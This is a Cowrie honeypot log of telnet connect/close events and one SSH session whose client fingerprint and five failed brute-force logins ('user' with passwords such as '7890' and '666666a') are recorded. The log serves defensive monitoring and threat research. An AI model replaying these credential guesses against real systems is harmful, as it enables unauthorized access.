{"eventid":"cowrie.session.closed","duration":38.599422454833984,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:08.407462Z","src_ip":"188.208.141.113","session":"4e37fcc7cb2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.97281789779663,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:08.474301Z","src_ip":"188.208.141.113","session":"fa95ec16d978","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.298490524291992,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:08.655751Z","src_ip":"188.208.141.113","session":"70e6da3361cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59190,"dst_ip":"10.17.0.5","dst_port":23,"session":"d104b83881ae","protocol":"telnet","message":"New connection: 188.208.141.113:59190 (10.17.0.5:23) [session: d104b83881ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:11.959524Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59202,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f4c1e89444e","protocol":"telnet","message":"New connection: 188.208.141.113:59202 (10.17.0.5:23) [session: 6f4c1e89444e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:12.054559Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34584,"dst_ip":"10.17.0.5","dst_port":23,"session":"83c2d5c39962","protocol":"telnet","message":"New connection: 188.208.141.113:34584 (10.17.0.5:23) [session: 83c2d5c39962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:22.009881Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34600,"dst_ip":"10.17.0.5","dst_port":23,"session":"82373f9388b2","protocol":"telnet","message":"New connection: 188.208.141.113:34600 (10.17.0.5:23) [session: 82373f9388b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:24.260135Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34608,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5ade9505526","protocol":"telnet","message":"New connection: 188.208.141.113:34608 (10.17.0.5:23) [session: b5ade9505526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:27.200899Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34622,"dst_ip":"10.17.0.5","dst_port":23,"session":"169a52a664a2","protocol":"telnet","message":"New connection: 188.208.141.113:34622 (10.17.0.5:23) [session: 169a52a664a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:27.823289Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49804,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e0978efefa8","protocol":"telnet","message":"New connection: 188.208.141.113:49804 (10.17.0.5:23) [session: 7e0978efefa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:31.573257Z"}
{"eventid":"cowrie.session.closed","duration":49.98684096336365,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:32.199296Z","src_ip":"188.208.141.113","session":"3a4977654842","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49806,"dst_ip":"10.17.0.5","dst_port":23,"session":"db7df8b56a72","protocol":"telnet","message":"New connection: 188.208.141.113:49806 (10.17.0.5:23) [session: db7df8b56a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:34.040291Z"}
{"eventid":"cowrie.session.closed","duration":41.23071622848511,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:41.650159Z","src_ip":"188.208.141.113","session":"9f4c57d09b89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40388,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e13cc3a1f89","protocol":"telnet","message":"New connection: 188.208.141.113:40388 (10.17.0.5:23) [session: 2e13cc3a1f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:41.722184Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40394,"dst_ip":"10.17.0.5","dst_port":23,"session":"d590ce33741b","protocol":"telnet","message":"New connection: 188.208.141.113:40394 (10.17.0.5:23) [session: d590ce33741b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:42.107010Z"}
{"eventid":"cowrie.session.closed","duration":34.25461483001709,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:46.309064Z","src_ip":"188.208.141.113","session":"6f4c1e89444e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.132312536239624,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:46.593191Z","src_ip":"188.208.141.113","session":"8d0360b0dc9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40406,"dst_ip":"10.17.0.5","dst_port":23,"session":"38be790faac2","protocol":"telnet","message":"New connection: 188.208.141.113:40406 (10.17.0.5:23) [session: 38be790faac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:47.584003Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40420,"dst_ip":"10.17.0.5","dst_port":23,"session":"981bfaf2dd2a","protocol":"telnet","message":"New connection: 188.208.141.113:40420 (10.17.0.5:23) [session: 981bfaf2dd2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:48.224349Z"}
{"eventid":"cowrie.session.closed","duration":1.8524365425109863,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:49.436322Z","src_ip":"188.208.141.113","session":"38be790faac2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46162,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ec08f235a73","protocol":"telnet","message":"New connection: 188.208.141.113:46162 (10.17.0.5:23) [session: 4ec08f235a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:51.531405Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.94.30.236","src_port":53545,"dst_ip":"10.17.0.5","dst_port":23,"session":"148609ec7b66","protocol":"telnet","message":"New connection: 138.94.30.236:53545 (10.17.0.5:23) [session: 148609ec7b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:51.975216Z"}
{"eventid":"cowrie.session.closed","duration":41.3939573764801,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:53.353348Z","src_ip":"188.208.141.113","session":"d104b83881ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46166,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e2fcac3e1aa","protocol":"telnet","message":"New connection: 188.208.141.113:46166 (10.17.0.5:23) [session: 3e2fcac3e1aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:57.414534Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38738,"dst_ip":"10.17.0.5","dst_port":23,"session":"567d1cfda8ca","protocol":"telnet","message":"New connection: 188.208.141.113:38738 (10.17.0.5:23) [session: 567d1cfda8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:04.729598Z"}
{"eventid":"cowrie.session.closed","duration":13.201676368713379,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:05.176802Z","src_ip":"138.94.30.236","session":"148609ec7b66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.425753593444824,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:05.435544Z","src_ip":"188.208.141.113","session":"83c2d5c39962","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.88113832473755,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:10.141132Z","src_ip":"188.208.141.113","session":"82373f9388b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.02237892150879,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:15.222990Z","src_ip":"188.208.141.113","session":"b5ade9505526","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.88592290878296,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:16.709100Z","src_ip":"188.208.141.113","session":"169a52a664a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":53756,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cf4315831fb","protocol":"telnet","message":"New connection: 69.65.3.189:53756 (10.17.0.5:23) [session: 7cf4315831fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:17.147305Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60960,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f3c0448d560","protocol":"telnet","message":"New connection: 188.208.141.113:60960 (10.17.0.5:23) [session: 7f3c0448d560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:19.356002Z"}
{"eventid":"cowrie.session.closed","duration":49.510236501693726,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:21.083371Z","src_ip":"188.208.141.113","session":"7e0978efefa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.14299178123474,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:22.249909Z","src_ip":"188.208.141.113","session":"d590ce33741b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":40026,"dst_ip":"10.17.0.5","dst_port":23,"session":"2065f4791c03","protocol":"telnet","message":"New connection: 206.189.32.23:40026 (10.17.0.5:23) [session: 2065f4791c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:22.378075Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50360,"dst_ip":"10.17.0.5","dst_port":23,"session":"b50cd90805a9","protocol":"telnet","message":"New connection: 188.208.141.113:50360 (10.17.0.5:23) [session: b50cd90805a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:23.299727Z"}
{"eventid":"cowrie.session.closed","duration":49.532132387161255,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:23.572253Z","src_ip":"188.208.141.113","session":"db7df8b56a72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.53516697883606,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:23.891059Z","src_ip":"188.208.141.113","session":"7f3c0448d560","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54938,"dst_ip":"10.17.0.5","dst_port":23,"session":"d95c27ca639b","protocol":"telnet","message":"New connection: 188.208.141.113:54938 (10.17.0.5:23) [session: d95c27ca639b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:30.675346Z"}
{"eventid":"cowrie.session.closed","duration":40.57321739196777,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:32.104517Z","src_ip":"188.208.141.113","session":"4ec08f235a73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54944,"dst_ip":"10.17.0.5","dst_port":23,"session":"e674ce2f7d26","protocol":"telnet","message":"New connection: 188.208.141.113:54944 (10.17.0.5:23) [session: e674ce2f7d26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:32.704906Z"}
{"eventid":"cowrie.session.closed","duration":35.828238010406494,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:33.242668Z","src_ip":"188.208.141.113","session":"3e2fcac3e1aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54958,"dst_ip":"10.17.0.5","dst_port":23,"session":"24f34a6d6904","protocol":"telnet","message":"New connection: 188.208.141.113:54958 (10.17.0.5:23) [session: 24f34a6d6904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:33.960873Z"}
{"eventid":"cowrie.session.closed","duration":54.266056537628174,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:35.988115Z","src_ip":"188.208.141.113","session":"2e13cc3a1f89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":39471,"dst_ip":"10.17.0.5","dst_port":22,"session":"5041d26a1b3d","protocol":"ssh","message":"New connection: 2.57.121.25:39471 (10.17.0.5:22) [session: 5041d26a1b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:36.499138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:36.503427Z","src_ip":"2.57.121.25","session":"5041d26a1b3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:36.603978Z","src_ip":"2.57.121.25","session":"5041d26a1b3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"8PHroWZ624","message":"login attempt [user/8PHroWZ624] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:37.080544Z","src_ip":"2.57.121.25","session":"5041d26a1b3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.0197718143463135,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:37.980429Z","src_ip":"188.208.141.113","session":"24f34a6d6904","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"7890","message":"login attempt [user/7890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:38.184060Z","src_ip":"2.57.121.25","session":"5041d26a1b3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.07221055030823,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:38.296425Z","src_ip":"188.208.141.113","session":"981bfaf2dd2a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"7676","message":"login attempt [user/7676] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:39.287934Z","src_ip":"2.57.121.25","session":"5041d26a1b3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"74185296","message":"login attempt [user/74185296] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:40.391718Z","src_ip":"2.57.121.25","session":"5041d26a1b3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"666666a","message":"login attempt [user/666666a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:41.494943Z","src_ip":"2.57.121.25","session":"5041d26a1b3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46798,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a31e976162a","protocol":"telnet","message":"New connection: 188.208.141.113:46798 (10.17.0.5:23) [session: 8a31e976162a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:42.052322Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:42.598198Z","src_ip":"2.57.121.25","session":"5041d26a1b3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.08643174171448,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:48.815881Z","src_ip":"188.208.141.113","session":"567d1cfda8ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.29964637756348,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:51.446820Z","src_ip":"69.65.3.189","session":"7cf4315831fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45670,"dst_ip":"10.17.0.5","dst_port":23,"session":"c49c343414b0","protocol":"telnet","message":"New connection: 188.208.141.113:45670 (10.17.0.5:23) [session: c49c343414b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:53.285264Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45686,"dst_ip":"10.17.0.5","dst_port":23,"session":"b52f6dddbd6e","protocol":"telnet","message":"New connection: 188.208.141.113:45686 (10.17.0.5:23) [session: b52f6dddbd6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:15:57.934281Z"}
{"eventid":"cowrie.session.closed","duration":42.27949333190918,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:04.657429Z","src_ip":"206.189.32.23","session":"2065f4791c03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50908,"dst_ip":"10.17.0.5","dst_port":23,"session":"1918171c7508","protocol":"telnet","message":"New connection: 188.208.141.113:50908 (10.17.0.5:23) [session: 1918171c7508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:04.926664Z"}
{"eventid":"cowrie.session.closed","duration":43.8490936756134,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:07.148878Z","src_ip":"188.208.141.113","session":"b50cd90805a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50916,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b71664f58ef","protocol":"telnet","message":"New connection: 188.208.141.113:50916 (10.17.0.5:23) [session: 1b71664f58ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:08.397756Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54750,"dst_ip":"10.17.0.5","dst_port":23,"session":"049ce018467c","protocol":"telnet","message":"New connection: 188.208.141.113:54750 (10.17.0.5:23) [session: 049ce018467c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:11.182294Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54760,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1b611a385d3","protocol":"telnet","message":"New connection: 188.208.141.113:54760 (10.17.0.5:23) [session: b1b611a385d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:13.217963Z"}
{"eventid":"cowrie.session.closed","duration":43.22029781341553,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:13.895565Z","src_ip":"188.208.141.113","session":"d95c27ca639b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.23001146316528,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:18.934797Z","src_ip":"188.208.141.113","session":"e674ce2f7d26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54772,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f671549c759","protocol":"telnet","message":"New connection: 188.208.141.113:54772 (10.17.0.5:23) [session: 0f671549c759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:20.244350Z"}
{"eventid":"cowrie.session.closed","duration":7.128849506378174,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:20.346661Z","src_ip":"188.208.141.113","session":"b1b611a385d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47278,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad1c64ad8126","protocol":"telnet","message":"New connection: 188.208.141.113:47278 (10.17.0.5:23) [session: ad1c64ad8126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:20.862772Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47290,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d928f34f44f","protocol":"telnet","message":"New connection: 188.208.141.113:47290 (10.17.0.5:23) [session: 4d928f34f44f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:22.712550Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47304,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dbdc7aa35f8","protocol":"telnet","message":"New connection: 188.208.141.113:47304 (10.17.0.5:23) [session: 9dbdc7aa35f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:24.424595Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47318,"dst_ip":"10.17.0.5","dst_port":23,"session":"07ca42abfdb6","protocol":"telnet","message":"New connection: 188.208.141.113:47318 (10.17.0.5:23) [session: 07ca42abfdb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:25.394183Z"}
{"eventid":"cowrie.session.closed","duration":43.808252573013306,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:25.860456Z","src_ip":"188.208.141.113","session":"8a31e976162a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47322,"dst_ip":"10.17.0.5","dst_port":23,"session":"a47411edb9d0","protocol":"telnet","message":"New connection: 188.208.141.113:47322 (10.17.0.5:23) [session: a47411edb9d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:27.456582Z"}
{"eventid":"cowrie.session.closed","duration":34.96303081512451,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:32.897238Z","src_ip":"188.208.141.113","session":"b52f6dddbd6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.507770776748657,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:32.901810Z","src_ip":"188.208.141.113","session":"07ca42abfdb6","protocol":"telnet"}
